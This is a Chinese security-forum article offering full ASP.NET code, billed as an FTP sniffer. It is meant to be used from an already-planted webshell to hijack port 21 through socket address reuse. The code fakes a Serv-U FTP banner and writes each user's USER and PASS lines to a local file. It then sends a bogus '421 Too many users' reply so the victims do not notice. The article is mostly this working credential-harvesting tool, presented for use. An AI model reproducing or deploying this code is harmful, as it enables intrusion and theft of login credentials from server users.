为了顺应当前形势和更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

ASP.Net劫持FTP端口的代码

2009-3-10 11:05| 投稿: security

摘要:      如果你有一个ASP.Net的webshell,那么恭喜你,至少权限比ASP的webshell大些。因为ASP.Net支持Socket,所以可以利用端口...
     如果你有一个ASP.Net的webshell,那么恭喜你,至少权限比ASP的webshell大些。因为ASP.Net支持Socket,所以可以利用端口复用实现端口劫持。    下面就是劫持21端口的ASP.Net代码,因为FTP协议传文件会新开端口,就没有用中间人方式而是拿到密码之后直接返回421错误。    当然,Windows2003及之后的系统都不再支持端口复用了。 以下是引用片段:<%@ Page Language="VB" Debug="true" %> <%@ import Namespace="System.Threading" %> <%@ import Namespace="System.Text" %> <%@ import Namespace="System.Net" %> <%@ import Namespace="System.Net.Sockets" %> <%@ import Namespace="System.IO" %> <script runat="server"> sub form_load(Src As Object, E As EventArgs)         myip.Text=request.ServerVariables("LOCAL_ADDR") end sub     Sub BTN_Start_Click(sender As Object, e As EventArgs)         Dim error_x as Exception          Dim ipAddress As IPAddress = ipAddress.Parse(myIP.Text)          Dim localEndPoint As New IPEndPoint(ipAddress, myport.Text)          Dim listener As New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)          listener.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1)           try          listener.Bind(localEndPoint)          listener.Listen(100)             While Not file.exists(server.mappath("snifferexit.dat"))                 If CheckBox1.Checked Then                      Dim mywrite As New StreamWriter(server.mappath("snifferexit.dat"), True, Encoding.Default)                      mywrite.Close()                 End If                 Dim mySocket As Socket = listener.Accept()                 ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf ThreadProc), mySocket)             End While              listener.Close()         Catch error_x             listener.Close()              response.write(error_x)         End Try     End Sub          Private Shared Sub ThreadProc(ByVal mySocket As Object)              Dim msg As Byte()              Dim bytes(1024) As Byte              Dim i As Integer              Dim num As Integer              Dim xdata As String              Try                 mySocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 5000)                  msg = Encoding.ASCII.GetBytes("220 Serv-U FTP Server v6.0 for WinSock ready..." & vbCrLf)                  mySocket.Send(msg, msg.Length, 0)                  mySocket.Receive(bytes, 0, 1024, 0)                  xdata = (Encoding.ASCII.GetString(bytes))                  If InStr(1, xdata, "user ", 1) > 0 Then                      Dim mywrite As New StreamWriter("e:\myweb\myown\a.txt", True, Encoding.Default)                      mywrite.WriteLine(Mid(xdata, 1, InStr(xdata, vbCrLf)))                      mywrite.Close()                      msg = Encoding.ASCII.GetBytes("331 User name okay, need password." & vbCrLf)                      mySocket.Send(msg, msg.Length, 0)                  Else                      msg = Encoding.ASCII.GetBytes("530 Not logged In.." & vbCrLf)                      mySocket.Send(msg, msg.Length, 0)                  End If                  mySocket.Receive(bytes, 0, 1024, 0)                  xdata = (Encoding.ASCII.GetString(bytes))                  If InStr(1, xdata, "pass ", 1) > 0 Then                      Dim mywrite As New StreamWriter("e:\myweb\myown\a.txt", True, Encoding.Default)                      mywrite.WriteLine(Mid(xdata, 1, InStr(xdata, vbCrLf)))                      mywrite.Close()                      msg = Encoding.ASCII.GetBytes("421 Too many users - please try again later." & vbCrLf)                      mySocket.Send(msg, msg.Length, 0)                  Else                      msg = Encoding.ASCII.GetBytes("530 Not logged in.." & vbCrLf)                      mySocket.Send(msg, msg.Length, 0)                  End If              Catch eee As Exception                  msg = Encoding.ASCII.GetBytes("421 Maximum session time exceeded - closing." & vbCrLf)                  mySocket.Send(msg, msg.Length, 0)                  mySocket.Shutdown(SocketShutdown.Both)                  mySocket.Close()                  Exit Sub              End Try              mySocket.Shutdown(SocketShutdown.Both)              mySocket.Close()          End Sub </script> <html> <head> </head> <body>     <form runat="server">         <p>             <asp:Label id="Label1" runat="server">Simple FTP Sniffer by lake2</asp:Label>         </p>         <p>             <asp:Label id="Label2" runat="server" width="60px">IP:</asp:Label>             <asp:TextBox id="MyIP" runat="server">220.166.79.218</asp:TextBox>              <asp:Label id="Label3" runat="server">Port</asp:Label> <asp:TextBox id="MyPort" runat="server" Width="40px">21</asp:TextBox>                             <br />             <asp:CheckBox id="CheckBox1" runat="server" Text="Only sniff one time"></asp:CheckBox>         </p>         <p>             <asp:Label id="Label4" runat="server">Note: If exit , create the file "snifferexit.dat"             in current</asp:Label>         </p>         <p>             <asp:Button id="BTN_Start" onclick="BTN_Start_Click" runat="server" Width="77px" Text="Start"></asp:Button>         </p>         <!-- Insert content here -->     </form> </body> </html>

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部